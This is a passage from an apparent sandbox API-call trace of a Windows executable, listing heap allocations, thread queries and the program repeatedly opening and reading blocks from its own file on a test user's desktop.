Flags=0x0, Size=0x205) returned 0x2ab3548 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18280 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71720 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a717a0 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1c0 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a17fe0 [0073.357] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b1c0, Size=0x14) returned 0x2a71900 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1d0 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1d0 | out: hHeap=0x2ad0000) returned 1 [0073.358] GetCurrentThreadId () returned 0x9b0 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaf7c0 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18280 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71840 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717a0 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71900 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b210 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18100 [0073.358] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b210, Size=0x14) returned 0x2a716e0 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.358] GetCurrentThreadId () returned 0x9b0 [0073.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaff68 [0073.358] GetCurrentThreadId () returned 0x9b0 [0073.358] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] GetCurrentThreadId () returned 0x9b0 [0073.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.360] GetCurrentThreadId () returned 0x9b0 [0073.360] GetCurrentThreadId () returned 0x9b0 [0073.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.360] GetCurrentThreadId () returned 0x9b0 [0073.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2ab3758 [0073.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a245a0 | out: hHeap=0x2ad0000) returned 1 [0073.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aafc58 [0073.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x722) returned 0x2ab4f60 [0073.360] GetLastError () returned 0x0 [0073.360] GetLastError () returned 0x0 [0073.360] GetLastError () returned 0x0 [0073.360] GetTimeZoneInformation (in: lpTimeZoneInformation=0x7450bfc0 | out: lpTimeZoneInformation=0x7450bfc0) returned 0x2 [0073.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Standard Time", cchWideChar=-1, lpMultiByteStr=0x745076b0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x9bab28 | out: lpMultiByteStr="W. Europe Standard Time", lpUsedDefaultChar=0x9bab28) returned 24 [0073.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Daylight Time", cchWideChar=-1, lpMultiByteStr=0x745076f0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x9bab28 | out: lpMultiByteStr="W. Europe Daylight Time", lpUsedDefaultChar=0x9bab28) returned 24 [0073.360] GetCurrentThreadId () returned 0x9b0 [0073.360] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x1d4 [0073.360] SetConsoleCtrlHandler (HandlerRoutine=0x72f543a0, Add=1) returned 1 [0073.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc8) returned 0x2acef10 [0073.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0898 [0073.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa7be0 [0073.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0898 | out: hHeap=0x2ad0000) returned 1 [0073.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b210 [0073.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.361] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b210, Size=0x14) returned 0x2a717c0 [0073.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0073.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2ab5690 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] GetCurrentThreadId () returned 0x9b0 [0073.362] GetLastError () returned 0x0 [0073.362] GetLastError () returned 0x0 [0073.362] GetLastError () returned 0x0 [0073.362] GetLastError () returned 0x0 [0073.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ff88 [0073.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b130 [0073.362] GetLastError () returned 0x0 [0073.363] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.363] GetFileType (hFile=0x1e8) returned 0x1 [0073.363] GetLastError () returned 0x0 [0073.363] GetCurrentThreadId () returned 0x9b0 [0073.363] GetLastError () returned 0x0 [0073.363] GetFileType (hFile=0x1e8) returned 0x1 [0073.363] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.363] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.363] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.363] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.363] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.363] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.363] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.363] GetLastError () returned 0x0 [0073.363] GetCurrentThreadId () returned 0x9b0 [0073.363] GetLastError () returned 0x0 [0073.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b130 | out: hHeap=0x2ad0000) returned 1 [0073.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff88 | out: hHeap=0x2ad0000) returned 1 [0073.363] GetLastError () returned 0x0 [0073.363] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7876561, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x782fd1 [0073.363] GetLastError () returned 0x0 [0073.364] GetCurrentThreadId () returned 0x9b0 [0073.364] GetLastError () returned 0x0 [0073.364] GetCurrentThreadId () returned 0x9b0 [0073.364] GetLastError () returned 0x0 [0073.364] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8301881, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x7ead39 [0073.364] GetLastError () returned 0x0 [0073.364] GetCurrentThreadId () returned 0x9b0 [0073.364] GetLastError () returned 0x0 [0073.364] GetCurrentThreadId () returned 0x9b0 [0073.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1436) returned 0x2ab5998 [0073.364] GetLastError () returned 0x0 [0073.364] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ab59ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2ab59ac*, lpNumberOfBytesRead=0x9ba998*=0x1000, lpOverlapped=0x0) returned 1 [0073.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2ab6dd8 [0073.365] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ab6dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2ab6dd8*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.365] GetLastError () returned 0x0 [0073.365] GetCurrentThreadId () returned 0x9b0 [0073.365] GetLastError () returned 0x0 [0073.365] GetCurrentThreadId () returned 0x9b0 [0073.365] GetCurrentThreadId () returned 0x9b0 [0073.365] GetLastError () returned 0x0 [0073.365] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x7ecd39 [0073.365] GetLastError () returned 0x0 [0073.365] GetCurrentThreadId () returned 0x9b0 [0073.365] GetLastError () returned 0x0 [0073.365] GetLastError () returned 0x0 [0073.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab6dd8 | out: hHeap=0x2ad0000) returned 1 [0073.365] CloseHandle (hObject=0x1e8) returned 1 [0073.366] GetLastError () returned 0x0 [0073.366] GetCurrentThreadId () returned 0x9b0 [0073.366] GetLastError () returned 0x0 [0073.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ab6dd8 [0073.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2ab89b0 [0073.366] GetLastError () returned 0x0 [0073.366] GetCurrentThreadId () returned 0x9b0 [0073.366] GetLastError () returned 0x0 [0073.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab6dd8 | out: hHeap=0x2ad0000) returned 1 [0073.366] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab89b0, Size=0x32b9) returned 0x2ab89b0 [0073.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab5998 | out: hHeap=0x2ad0000) returned 1 [0073.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x266) returned 0x2ab5998 [0073.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x12f7) returned 0x2ab5c08 [0073.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.366] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18280, Size=0x20) returned 0x2a1fb78 [0073.366] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18dd0 [0073.366] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18dd0, Size=0x64) returned 0x2a19578 [0073.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ad1768 [0073.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0xb8) returned 0x2acaf30 [0073.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0xe8) returned 0x2acaf30 [0073.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0x120) returned 0x2acdbf0 [0073.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acdbf0, Size=0x160) returned 0x2acea78 [0073.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acea78, Size=0x1a8) returned 0x2acb7f8 [0073.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x1f8) returned 0x2acb7f8 [0073.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acb7f8 | out: hHeap=0x2ad0000) returned 1 [0073.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab89b0 | out: hHeap=0x2ad0000) returned 1 [0073.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0ba8 [0073.367] GetCurrentThreadId () returned 0x9b0 [0073.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.367] GetCurrentThreadId () returned 0x9b0 [0073.367] GetCurrentThreadId () returned 0x9b0 [0073.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.367] GetCurrentThreadId () returned 0x9b0 [0073.367] GetCurrentThreadId () returned 0x9b0 [0073.367] GetCurrentThreadId () returned 0x9b0 [0073.367] GetCurrentThreadId () returned 0x9b0 [0073.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.368] GetCurrentThreadId () returned 0x9b0 [0073.368] GetCurrentThreadId () returned 0x9b0 [0073.368] GetCurrentThreadId () returned 0x9b0 [0073.368] GetLastError () returned 0x0 [0073.368] GetLastError () returned 0x0 [0073.368] GetLastError () returned 0x0 [0073.368] GetLastError () returned 0x0 [0073.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200d8 [0073.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b080 [0073.368] GetLastError () returned 0x0 [0073.368] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.368] GetFileType (hFile=0x1e8) returned 0x1 [0073.368] GetLastError () returned 0x0 [0073.368] GetCurrentThreadId () returned 0x9b0 [0073.368] GetLastError () returned 0x0 [0073.368] GetFileType (hFile=0x1e8) returned 0x1 [0073.368] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0073.369] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.369] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.369] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.369] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.369] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.369] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.369] GetLastError () returned 0x0 [0073.369] GetCurrentThreadId () returned 0x9b0 [0073.369] GetLastError () returned 0x0 [0073.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0073.369] GetLastError () returned 0x0 [0073.369] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8307034, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x7ec15a [0073.369] GetLastError () returned 0x0 [0073.369] GetCurrentThreadId () returned 0x9b0 [0073.369] GetLastError () returned 0x0 [0073.369] GetCurrentThreadId () returned 0x9b0 [0073.369] GetLastError () returned 0x0 [0073.369] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8591188, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x831754 [0073.369] GetLastError () returned 0x0 [0073.369] GetCurrentThreadId () returned 0x9b0 [0073.369] GetLastError () returned 0x0 [0073.369] GetCurrentThreadId () returned 0x9b0 [0073.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1580) returned 0x2ab6f08 [0073.369] GetLastError () returned 0x0 [0073.370] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ab6f1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba348, lpOverlapped=0x0 | out: lpBuffer=0x2ab6f1c*, lpNumberOfBytesRead=0x9ba348*=0x1000, lpOverlapped=0x0) returned 1 [0073.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2ab8490 [0073.374] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ab8490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2ab8490*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0073.374] GetLastError () returned 0x0 [0073.374] GetCurrentThreadId () returned 0x9b0 [0073.374] GetLastError () returned 0x0 [0073.374] GetCurrentThreadId () returned 0x9b0 [0073.374] GetLastError () returned 0x0 [0073.374] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x833754 [0073.374] GetLastError () returned 0x0 [0073.374] GetCurrentThreadId () returned 0x9b0 [0073.374] GetLastError () returned 0x0 [0073.374] GetLastError () returned 0x0 [0073.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8490 | out: hHeap=0x2ad0000) returned 1 [0073.375] CloseHandle (hObject=0x1e8) returned 1 [0073.375] GetLastError () returned 0x0 [0073.375] GetCurrentThreadId () returned 0x9b0 [0073.375] GetLastError () returned 0x0 [0073.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ab8490 [0073.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2aba068 [0073.375] GetLastError () returned 0x0 [0073.375] GetCurrentThreadId () returned 0x9b0 [0073.375] GetLastError () returned 0x0 [0073.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8490 | out: hHeap=0x2ad0000) returned 1 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aba068, Size=0x2fe2) returned 0x2aba068 [0073.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab6f08 | out: hHeap=0x2ad0000) returned 1 [0073.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18280, Size=0x20) returned 0x2a1f8a8 [0073.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8ec) returned 0x2ab6f08 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8a8, Size=0x40) returned 0x2a18c20 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x64) returned 0x2a19818 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ad1768 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0xb8) returned 0x2acaf30 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0xe8) returned 0x2acaf30 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0x120) returned 0x2acdbf0 [0073.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acdbf0, Size=0x160) returned 0x2acea78 [0073.376] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acea78, Size=0x1a8) returned 0x2acb7f8 [0073.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x507) returned 0x2ab7800 [0073.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2ab7d10 [0073.376] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x1f8) returned 0x2acb7f8 [0073.376] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x250) returned 0x2ab80f8 [0073.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x47f) returned 0x2ab8350 [0073.376] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab80f8, Size=0x2b4) returned 0x2ab87d8 [0073.376] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab87d8, Size=0x324) returned 0x2ab87d8 [0073.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab87d8 | out: hHeap=0x2ad0000) returned 1 [0073.376] GetCurrentThreadId () returned 0x9b0 